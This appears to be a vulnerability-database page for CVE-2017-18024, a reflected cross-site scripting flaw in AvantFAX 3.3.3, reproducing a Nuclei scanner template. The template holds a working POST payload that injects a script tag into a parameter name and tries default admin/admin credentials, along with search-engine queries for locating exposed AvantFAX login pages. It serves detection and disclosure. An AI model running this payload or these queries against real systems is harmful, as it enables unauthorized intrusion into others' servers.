CVE-2017-18024: AvantFAX 3.3.3 - Cross-Site Scripting

2025-08-01 AvantFAX PoC Public

Description

AvantFAX 3.3.3 contains a cross-site scripting vulnerability via an arbitrary parameter name submitted to the default URL, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1.

PoC

id: CVE-2017-18024

info:
  name: AvantFAX 3.3.3 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: AvantFAX 3.3.3 contains a cross-site scripting vulnerability via an arbitrary parameter name submitted to the default URL, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of AvantFAX or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://hackerone.com/reports/963798
    - http://packetstormsecurity.com/files/145776/AvantFAX-3.3.3-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18024
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/NarbehJackson/Java-Xss-minitwit16
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18024
    cwe-id: CWE-79
    epss-score: 0.04531
    epss-percentile: 0.91057
    cpe: cpe:2.3:a:avantfax:avantfax:3.3.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: avantfax
    product: avantfax
    shodan-query: http.title:"avantfax - login"
    fofa-query: title="avantfax - login"
    google-query: intitle:"avantfax - login"
  tags: cve,cve2017,avantfax,hackerone,packetstorm,xss,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin&password=admin&_submit_check=1&jlbqg<script>alert("{{randstr}}")</script>b7g0x=1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert("{{randstr}}")</script>'
          - 'AvantFAX'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022026abb4e73abfb3a33de67555858fb43e86882c8d1e4f755046bb4c809649b63d022100b05efdce4ca758b024f0c1d4ae60d26d512c2b55b2500b79a3c568bc1bf635b0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities